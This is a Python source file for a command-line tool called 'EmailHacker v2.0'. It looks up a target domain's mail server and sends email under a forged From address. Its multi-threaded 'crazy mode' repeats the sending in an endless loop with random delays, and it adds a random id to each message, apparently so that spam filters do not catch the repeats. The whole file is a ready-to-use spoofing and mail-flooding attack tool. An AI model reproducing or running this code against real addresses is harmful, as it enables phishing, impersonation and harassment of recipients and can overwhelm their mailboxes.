# -*- coding: utf-8 -*-
import socket
from time import sleep
import random
import threading
import dns.resolver
import argparse
import signal
import sys
import string
import os


class FakeEmail:
    def __init__(self, to_addr, from_addr, SMTP_addr, port=25, timeout=10):
        Print(u"check config", sign=u"[+]")
        Print(u"to address: "+to_addr)
        Print(u"from address: "+from_addr)
        Print(u"SMTP address: "+SMTP_addr)
        Print(u"SMTP port: "+str(port))
        Print(u"socket timeout: "+str(timeout))
        Print(u"verbose level: "+str(verbose))
        Print(u"no problem, maybe", sign=u"  [*]")

        self.to_addr = to_addr
        self.from_addr = from_addr
        self.port = port
        self.timeout = timeout
        self.SMTP_addr = SMTP_addr
        self.quit_flag = 1
        self.succ_num = 0

    def Connect(self):
        self.sk = socket.socket()
        self.sk.settimeout(self.timeout)

        try:
            Print(u"connect to %s:%s " % (self.SMTP_addr, str(self.port)), sign=u"[+]")
            self.sk.connect((self.SMTP_addr, self.port))
        except Exception as e:
            return (0, str(e))

        return self.Recv(check=u"220")

    def Send(self, msg):
        for result in msg.split(u"\r\n"):
            try:
                self.sk.sendall((result+u"\r\n").encode("utf8"))
                Print(result, threshold=2, color=u"yellow", sign=u"=> ")
            except Exception as e:
                Print(str(e), threshold=0, color=u"red", sign=u"=> ", id=self.id)
                return 0
        return 1

    def Recv(self, check=u"", threshold=2):
        try:
            data = [i.decode(u"utf8") for i in self.sk.recv(1024).split(b"\r\n") if i]
            assert data
        except AssertionError:
            if not check:
                Print(u"recv empty answer", threshold=0, color=u"red", sign=u"<= ", id=self.id)
            return (0, u"recv empty answer")
        except Exception as e:
            if not check:
                Print(str(e), threshold=0, color=u"red", sign=u"<= ", id=self.id)

            return (0, str(e))

        if check and check not in data[-1]:
            return (0, data[-1])

        if any([i for i in range(400, 600) if data[-1][:3] == str(i)]):
            Print(data[-1], threshold=0, color=u"red", sign=u"<= ", id=self.id)
            return (0, data[-1])

        for result in data:
            Print(result, threshold=threshold, color=u"green", sign=u"<= ")

        return (1, data[-1])

    def Attack(self, id):
        global succ_num, failed_num, quit_flag, threads_alive, Data

        self.id = id
        while quit_flag and self.quit_flag:
            check_connect = self.Connect()
            if not check_connect[0]:
                Print(u"creating connection failed: "+u"I just got the answer: '%s' from %s" % (check_connect[1], self.SMTP_addr),
                      threshold=0, color=u"red", sign=u"[X]", flag=0, id=self.id)
                self.sk.close()
                failed_num += 1
                if crazy_mode:
                    continue
                else:
                    break

            Print(u"now, all ready", sign=u"  [*]")
            Print(u"using spam attack", sign=u"[+]")
            if not (self.Send(u"ehlo antispam") and self.Recv()[0]):
                failed_num += 1
                if crazy_mode:
                    continue
                else:
                    break

            while quit_flag and self.quit_flag:
                if not (self.Send(u"mail from:<%s>" % self.from_addr) and self.Recv()[0]) or\
                        not (self.Send(u"rcpt to:<%s>" % self.to_addr) and self.Recv()[0]) or\
                        not (self.Send(u"data") and self.Recv()[0]):

                    failed_num += 1
                    if not crazy_mode:
                        self.quit_flag = 0
                    continue

                if self.Send(u"to: %s" % self.to_addr) and\
                        self.Send(u"from: %s" % self.from_addr) and\
                        self.Send("subject: "+subject) and\
                        self.Send(u"") and\
                        self.Send(body+"\r\n\r\nYour random id is "+"".join(random.choice(string.hexdigits) for i in range(32))+"\r\n."):

                    result = self.Recv(threshold=0, check=u"250")
                    if result[0]:
                        succ_num += 1
                        self.succ_num += 1
                        Data[id] = PutColor(self.succ_num, "cyan")
                    else:
                        Print(result[1], threshold=0, color=u"red", sign=u"<= ", id=self.id)
                        failed_num += 1
                else:
                    failed_num += 1

                if not crazy_mode:
                    self.quit_flag = 0
                else:
                    sleep(random.random()*1.5)

        Print(u"all done", sign=u"  [*]")
        threads_alive[id] = 0
        return self.sk.close()


def PutColor(string, color):
    colors = {
        u"gray": "2",
        u"red": "31",
        u"green": "32",
        u"yellow": "33",
        u"blue": "34",
        u"pink": "35",
        u"cyan": "36",
        u"white": "37",
    }

    return u"\033[40;1;%s;40m%s\033[0m" % (colors[color], string)


def superPrint():
    Lock.acquire()

    _, fixed_length = os.popen('stty size', 'r').read().split()
    fixed_length = int(fixed_length)
    for index in Indicator("attacking..."):

        for i, data in enumerate(Data):
            _, length = os.popen('stty size', 'r').read().split()
            length = int(length)
            if fixed_length > length:
                show_logo()
                fixed_length = length

            print("\033[K\r%s%s" % (PutColor("No.%d: " % i, "white"),
                                    data if len(data) < length else data[:length-3]+"..."))

        print(PutColor("\r\033[K[%d]" % succ_num, "green")+PutColor(index, "white")+"\033[1A")
        print("\033[%dA" % (len(Data)+1))
        sleep(0.1)

    for i, data in enumerate(Data):
        print("\033[K\r%s%s" % (PutColor("No.%d: " % i, "white"),
                                data if len(data) < length else data[:length-3]+"..."))
    if crazy_mode != 1:
        print("")
    Lock.release()


def Print(string, threshold=3, color=u"gray", sign=u"  [-]", flag=1, id=-1):
    global Data

    if verbose < threshold or (verbose == 0 and threshold > -1):
        if id != -1:
            Data[id] = PutColor(string, color)
        return

    str_color = u"gray" if color == u"gray" else u"white"
    string = PutColor(sign, color)+PutColor(string, str_color)
    if verbose > 2 and threshold < 3 and flag:
        string = "  [-]"+string

    if Lock.acquire():
        print("\r"+string)
        Lock.release()


def DNSQuery(to_addr):
    resolver = dns.resolver.Resolver()
    resolver.timeout = 3
    resolver.lifetime = 3

    Print(u"query MX of DNS for %s" % to_addr, sign=u"[+]")

    try:
        SMTP_addr = b'.'.join(dns.resolver.query(
            to_addr[to_addr.find(u"@")+1:], u'MX')[0].exchange.labels).decode(u"utf8")
        assert SMTP_addr != u""
    except Exception as e:
        Print(u"query MX of %s failed: " % to_addr + str(e),
              threshold=0, color=u"red", sign=u"[X]", flag=0)
        return 0

    Print(u"success", sign=u"  [*]")
    return SMTP_addr


def Launcher():
    if not verbose:
        threading.Thread(target=superPrint).start()

    threads = []
    for id in range(threads_num):
        client = FakeEmail(to_addr, from_addr, SMTP_addr=SMTP_addr)
        t = threading.Thread(target=client.Attack, args=(id,))
        t.start()
        threads.append(t)

    if not crazy_mode:
        for t in threads:
            t.join()
    else:
        for i in Indicator("attacking..."):
            Print(i+"\033[1A", color="green", threshold=0, flag=0, sign="\033[K[%d]" % succ_num)
            sleep(0.1)


def Indicator(string, index=0):
    while any(threads_alive) and ver == "go" and print_flag:
        index = (index+1) % len(string)
        yield string[:index]+string[index].upper()+string[index+1:]


def quit(signum, frame):
    global quit_flag, print_flag

    print_flag = 0
    Lock.acquire()
    Lock.release()
    print_flag = 1
    quit_flag = 0
    for i in Indicator("stopping..."):
        Print(i+"\033[1A", color="yellow", threshold=-1, flag=0, sign="\033[K[!]")
        sleep(0.1)

    Print(u"%s %s" % (u"success:", succ_num), threshold=-1,
          color=u"green", flag=0, sign="\n"*(crazy_mode == True)+"\n[*]")
    Print(u"%s %s\n" % (u"failed:", failed_num), threshold=-1, color=u"red", flag=0, sign="[!]")

    print("\033[?25h"+PutColor(random.choice([
        u"Goodbye", u"Have a nice day", u"See you later",
        u"Farewell", u"Cheerio", u"Bye",
    ])+" :)", u"white"))
    sys.exit()


def show_logo():
    print("\033c\033[?25l")
    print("""
\033[40;1;40m ███████╗     ██╗  ██╗\033[0m
\033[40;1;40m ██╔════╝     ██║  ██║ \033[40;1;33;40mTr0y\033[0m\033[0m
\033[40;1;40m █████╗       ███████║ \033[0m
\033[40;1;40m ██╔══╝       ██╔══██║ \033[40;1;33;40mv2.0\033[0m\033[0m
\033[40;1;40m ███████╗     ██║  ██║\033[0m
 ╚══════╝\033[40;1;32;40mmail\033[0m ╚═╝  ╚═╝\033[40;1;32;40macker\033[0m
""")


signal.signal(signal.SIGINT, quit)
signal.signal(signal.SIGTERM, quit)
parser = argparse.ArgumentParser()
parser.add_argument(u"-faddr", u"--from_address",
                    help=u"fake-from-address", required=True)

parser.add_argument(u"-taddr", u"--to_address",
                    help=u"the address you want to delivery", required=True)

parser.add_argument(u"-s", u"--subject",
                    help=u"email's subject", required=True)

parser.add_argument(u"-b", u"--body",
                    help=u"email's body(content)", required=True)

parser.add_argument(u"-tnum", u"--threads_num",
                    help=u"how many threads you want (default is 1)", default=1, type=int)

parser.add_argument(u"-v", u"--verbose",
                    help=u"verbose level (choice in [0, 1, 2, 3])", default=-1, type=int)

parser.add_argument(u"-c", u"--crazy_mode",
                    help=u"Keep sending fake-email (default is False ** Use with caution **)", action='store_true', default=False)


args = parser.parse_args()

show_logo()
succ_num = failed_num = 0
quit_flag = print_flag = 1
ver = -1
from_addr = args.from_address
to_addr = args.to_address
subject = args.subject.decode("utf8") if vars(str).get("decode") else args.subject
body = (args.body.decode(
    "utf8") if vars(str).get("decode") else args.body).replace("\\n", "\r\n")
threads_num = args.threads_num if args.threads_num > 0 else 1
verbose = args.verbose
crazy_mode = args.crazy_mode
threads_alive = [1]*threads_num
Data = ['0']*threads_num
Lock = threading.Lock()

if verbose == -1:
    verbose = 0 if crazy_mode else 2 if threads_num == 1 else 1

elif threads_num > 1:
    if crazy_mode and verbose > 1:
        ver = 0
        Print(u"""...It's not recommended to enable so many output(let verbose>0)
...in the multi-threaded mode with crazy mode,
...change it to 0? (let verbose=0)""",
              color=u"yellow", threshold=0, sign=u"[!]WARNING: \n", flag=0)
    elif verbose > 1:
        ver = 1
        Print(u"""...It's not recommended to enable so many output(let verbose>1)
...in the multi-threaded mode,
...change it to 1? (let verbose=1)""",
              color=u"yellow", threshold=0, sign=u"[!]WARNING: \n", flag=0)

if ver != -1:
    if vars(__builtins__).get('raw_input', input)(PutColor(u"[!]", "yellow")+PutColor("type [yes]/no: ", "white")) != "no":
        verbose = ver
        Print(u"as you wish\n", color=u"green", threshold=0, sign=u"[*]", flag=0)
    else:
        Print(u"in a mess, of course\n", color=u"yellow", threshold=0, sign=u"[!]", flag=0)

SMTP_addr = DNSQuery(to_addr)
if SMTP_addr:
    ver = "go"
    Launcher()
else:
    threads_alive = [0]

quit(0, 0)